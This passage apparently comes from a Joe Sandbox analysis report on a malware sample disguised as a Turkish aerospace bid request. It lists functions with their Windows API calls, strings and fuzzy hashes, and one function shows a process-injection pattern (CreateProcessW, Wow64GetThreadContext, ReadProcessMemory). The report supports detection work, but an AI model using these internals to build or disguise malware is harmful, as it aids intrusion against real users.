RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00FA35A1,SwapMouseButtons,00000004,?,?,?,?,00FA2754), ref: 00FA35F5
RegCloseKey.KERNELBASE(00000000,?,?,00FA35A1,SwapMouseButtons,00000004,?,?,?,?,00FA2754), ref: 00FA3617

Strings

Control Panel\Mouse, xrefs: 00FA35D2

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: c0f27b0c4301a52f23abf08f3cc598f0660fddeb7370ba3043e24a52036023ee
Instruction ID: 160621ada81ecb27178079ce2936f2f70561a4523bee88cf2b2474798c0f2356
Opcode Fuzzy Hash: c0f27b0c4301a52f23abf08f3cc598f0660fddeb7370ba3043e24a52036023ee
Instruction Fuzzy Hash: D8112AB5911218BFDB208FA4D884EAFB7B8EF05750F11455AF805D7310E6719F50AB60

Function 0125F838 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01260065
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01260089
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 012600AB

Memory Dump Source

Source File: 00000000.00000002.1492167049.000000000125E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0125E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125e000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 91de96a0508c6d9b88b93d6c14255c09b3dee72855056c89e06ebe7f8a996ab2
Instruction ID: 733992321ba25621209095623f24fa87c8b622c2cbe57f8975814d218cf9ecbb
Opcode Fuzzy Hash: 91de96a0508c6d9b88b93d6c14255c09b3dee72855056c89e06ebe7f8a996ab2
Instruction Fuzzy Hash: AA620C30A24258DBEB24CFA4C841BDEB775EF58300F1091A9E20DEB2D4E7759E81DB59

Function 0100955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00FA4EE5: _fseek.LIBCMT ref: 00FA4EFD

Part of subcall function 01009734: _wcscmp.LIBCMT ref: 01009824
Part of subcall function 01009734: _wcscmp.LIBCMT ref: 01009837

_free.LIBCMT ref: 010096A2
_free.LIBCMT ref: 010096A9
_free.LIBCMT ref: 01009714

Part of subcall function 00FC2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00FC9A24), ref: 00FC2D69
Part of subcall function 00FC2D55: GetLastError.KERNEL32(00000000,?,00FC9A24), ref: 00FC2D7B

_free.LIBCMT ref: 0100971C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
Instruction ID: 81018b8c6aff4d2efa09c3ff0c439bfa93803e65ba7d91d22b64dfd6b411023b
Opcode Fuzzy Hash: 83a1bf45cb5b46f0fbbb2b282febcfcf75e63ad05b5baa694a85d9b23f0f737c
Instruction Fuzzy Hash: 56513FB1D04259AFDF259F64CC81A9EBBB9FF88304F00449EB64DA3251DB755A80CF58

Function 00FC470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FC47A0
__flush.LIBCMT ref: 00FC47C0
__write.LIBCMT ref: 00FC47F3
__flsbuf.LIBCMT ref: 00FC4821

Part of subcall function 00FC8B28: __getptd_noexit.LIBCMT ref: 00FC8B28

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 11fd8b5aa7f8a886f5900c817a044762034048a9e69d102e5f2cec970892d405
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 0241B575E007479BDB188EA9CAA2FAE77A5AF81370B24813DE815C7680D774ED41AB40

Function 00FA7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FDEA39
GetOpenFileNameW.COMDLG32(?), ref: 00FDEA83

Part of subcall function 00FA4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA4743,?,?,00FA37AE,?), ref: 00FA4770

Part of subcall function 00FC0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00FC07B0

Strings

X, xrefs: 00FDEA51

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 268b8a51f011bc96f54aaca981ceefb596197797a2cc965ea70d59d3eae12e97
Instruction ID: f9d574cf4cb93988fe952b648e87f920816c3e3352cb9c463741e04d84b90991
Opcode Fuzzy Hash: 268b8a51f011bc96f54aaca981ceefb596197797a2cc965ea70d59d3eae12e97
Instruction Fuzzy Hash: 3C21C671A002499BCB519F94CC45BEE7BFDAF49314F04805AE848AB241DBB859899FA1

Function 01008D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 01008DAC
__fread_nolock.LIBCMT ref: 01008DC1

Strings

EA06, xrefs: 01008DF3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 6d54ba2e871cb0abe1ed4ea8365476acdf020f7ba0888edb0922c8a762591934
Instruction ID: ee3741144c25d59b86f5654ffedf26ff3f06f9cc79254e78a56f45f3a1040e9c
Opcode Fuzzy Hash: 6d54ba2e871cb0abe1ed4ea8365476acdf020f7ba0888edb0922c8a762591934
Instruction Fuzzy Hash: FA01F971C042187EDB19DAA9CC16FFE7BF8DB11701F00459FF592D2181E579E6049760

Function 010098E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 010098F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0100990F

Strings

aut, xrefs: 01009909

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: b5ce44f130fc6266d11c337da5e2eb92904f758bcac9be0d10782eb42ee553bf
Instruction ID: 5eeb89e10f9ea7337118097439f4a057dea7a0df6f50fc3a3ed36be0497acabb
Opcode Fuzzy Hash: b5ce44f130fc6266d11c337da5e2eb92904f758bcac9be0d10782eb42ee553bf
Instruction Fuzzy Hash: 90D05E7954030EABDB709EA0EC0EFAA773CE705700F1042A1FE94D5191EAB695988BA1

Function 0101CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a32c5fd448ffe1800403b1c296be70684a875cc065d95dee49337f16c902a55
Instruction ID: 304708f059a1a4b31da32ca0164478eb317e6fada54abb4ce8adf86e11ecfe85
Opcode Fuzzy Hash: 5a32c5fd448ffe1800403b1c296be70684a875cc065d95dee49337f16c902a55
Instruction Fuzzy Hash: AEF168706083019FDB14DF28C980A6EBBE5FF89314F54896EF8999B251D778E905CF82

Function 00FAF76F Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FC0193
Part of subcall function 00FC0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 00FC019B
Part of subcall function 00FC0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FC01A6
Part of subcall function 00FC0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FC01B1
Part of subcall function 00FC0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 00FC01B9
Part of subcall function 00FC0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 00FC01C1

Part of subcall function 00FB60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00FAF930), ref: 00FB6154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00FAF9CD
OleInitialize.OLE32(00000000), ref: 00FAFA4A
CloseHandle.KERNEL32(00000000), ref: 00FE45C8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 67e2ee872999ba867f83b80a7e6670df1c63c9a3d429a5655d0e344ce6e82fa1
Instruction ID: ed26bc26b7e6eb4b977ccc7c96886c3d9bc7f166b82bbb09198ffee63789b12a
Opcode Fuzzy Hash: 67e2ee872999ba867f83b80a7e6670df1c63c9a3d429a5655d0e344ce6e82fa1
Instruction Fuzzy Hash: DD81D1B0A01250CFC3A4DF39EC556597BE9FB9938AB5081AAD0D8CB369EB7E4404CF10

Function 00FA434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA4370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00FA4415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00FA4432

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 8f5adeb10554f78e938672ab52fe85f5c0d4db1455886dc33fc85b2d99b5f8df
Instruction ID: 6ce78b3c165a062d9dd6f3399d4366eae951f5391e3aaa8a60b2b2cc01c68b84
Opcode Fuzzy Hash: 8f5adeb10554f78e938672ab52fe85f5c0d4db1455886dc33fc85b2d99b5f8df
Instruction Fuzzy Hash: 053181B09047028FD731DF24D88469BBBF8FB9A358F00092EF5DA86241D7B5B944DB52

Function 00FC571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00FC5733

Part of subcall function 00FCA16B: __NMSG_WRITE.LIBCMT ref: 00FCA192
Part of subcall function 00FCA16B: __NMSG_WRITE.LIBCMT ref: 00FCA19C

__NMSG_WRITE.LIBCMT ref: 00FC573A

Part of subcall function 00FCA1C8: GetModuleFileNameW.KERNEL32(00000000,010633BA,00000104,?,00000001,00000000), ref: 00FCA25A
Part of subcall function 00FCA1C8: ___crtMessageBoxW.LIBCMT ref: 00FCA308

Part of subcall function 00FC309F: ___crtCorExitProcess.LIBCMT ref: 00FC30A5
Part of subcall function 00FC309F: ExitProcess.KERNEL32 ref: 00FC30AE

Part of subcall function 00FC8B28: __getptd_noexit.LIBCMT ref: 00FC8B28

RtlAllocateHeap.NTDLL(011E0000,00000000,00000001,00000000,?,?,?,00FC0DD3,?), ref: 00FC575F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: a8cc5b30400110ae8be88ac2822e319dc919e04cb29339a6ed2c1dde5f95613f
Instruction ID: d40958edd2aec18157dce7269f34f228146a7dead5a38277c1024339c972e226
Opcode Fuzzy Hash: a8cc5b30400110ae8be88ac2822e319dc919e04cb29339a6ed2c1dde5f95613f
Instruction Fuzzy Hash: 6D01D632640B1BDAD6202774AE43F6D77489F82BB1F50002DF4059A181DF79ACC17760

Function 010098A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,01009548,?,?,?,?,?,00000004), ref: 010098BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,01009548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 010098D1
CloseHandle.KERNEL32(00000000,?,01009548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 010098D8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 4ac938634dffb74bb4045f38a56317755339c6fcee7e44990ca42d902e855a7c
Instruction ID: 60e5907c9387a4bb4a90c29552d641cbefa086cb1084a3f2fd138cd001ecc254
Opcode Fuzzy Hash: 4ac938634dffb74bb4045f38a56317755339c6fcee7e44990ca42d902e855a7c
Instruction Fuzzy Hash: E4E08632141215B7E7311E54EC0AFCA7F69AB067A4F308210FB94690D087B616119798

Function 01008D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01008D1B

Part of subcall function 00FC2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00FC9A24), ref: 00FC2D69
Part of subcall function 00FC2D55: GetLastError.KERNEL32(00000000,?,00FC9A24), ref: 00FC2D7B

_free.LIBCMT ref: 01008D2C
_free.LIBCMT ref: 01008D3E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction ID: 2cfa348369af864702244ffb73a78d48128ab9bb1ba841def208706520f4fcfa
Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction Fuzzy Hash: 3BE0C2E1E0160243EBA1B5BCAE41F8333DC9F68352B044A6FB94ED7182CE68F4429028

Function 00FAA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00FDFC01

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 1251beb3b2dd0786ff0f65e858b0d279e7f960efc8268bca20115fda891bf82b
Instruction ID: 1f21a54c65406773310ab65b23f38170250882b497d18f388218d41ad6bab436
Opcode Fuzzy Hash: 1251beb3b2dd0786ff0f65e858b0d279e7f960efc8268bca20115fda891bf82b
Instruction Fuzzy Hash: 78227FB1908301DFD724DF14C450B6AB7E1BF86314F14896DE89A8B362DB35ED45EB82

Function 00FA4C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FA4CBA

Strings

EA06, xrefs: 00FDD8CC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 47ecbecd0ef2702ad90c8893bcbe50ef8fdb1812d85fff664dd993b87dda5bed
Instruction ID: f53476245f069f45f9735579002b07dedabf9b3537c62e712c71414d7ba3b6c0
Opcode Fuzzy Hash: 47ecbecd0ef2702ad90c8893bcbe50ef8fdb1812d85fff664dd993b87dda5bed
Instruction Fuzzy Hash: 37417FF2E041586BDF219B54CC917BE7BA29BC7310F284475FC86DB282D6A47D44B3A1

Function 01005B7A Relevance: 3.1, APIs: 2, Instructions: 142COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 01005B93

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: 882ec0f033ced3baddc04fa2aa3942b93c07abfc5491e8a0e7037e2b1018c8d9
Instruction ID: ad310f6a82b11b2274b81c40017b32d8334c4dd2d1b410d4ff843eb0c753266d
Opcode Fuzzy Hash: 882ec0f033ced3baddc04fa2aa3942b93c07abfc5491e8a0e7037e2b1018c8d9
Instruction Fuzzy Hash: 2B418472500609AFEB16EF64CC81DAFB7F8EB44310F10866EE99697281EB749A45CF50

Function 00FA7A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FA7AAB
_memmove.LIBCMT ref: 00FA7B16

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: dcaa55ca9a04723143b9e8694f613c9e7f590ea8bac40c6ab2e3bad66fc376f5
Instruction ID: a7ba441c8ec6ded86e2699d219c325bd4a7550b04b810b10d5774df20398e37c
Opcode Fuzzy Hash: dcaa55ca9a04723143b9e8694f613c9e7f590ea8bac40c6ab2e3bad66fc376f5
Instruction Fuzzy Hash: 803173F2604606AFC704EF68CCD1E69B3A9FF493207158629E519CB291EB34E951DB90

Function 00FA47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00FA4834

Part of subcall function 00FC336C: __lock.LIBCMT ref: 00FC3372
Part of subcall function 00FC336C: DecodePointer.KERNEL32(00000001,?,00FA4849,00FF7C74), ref: 00FC337E
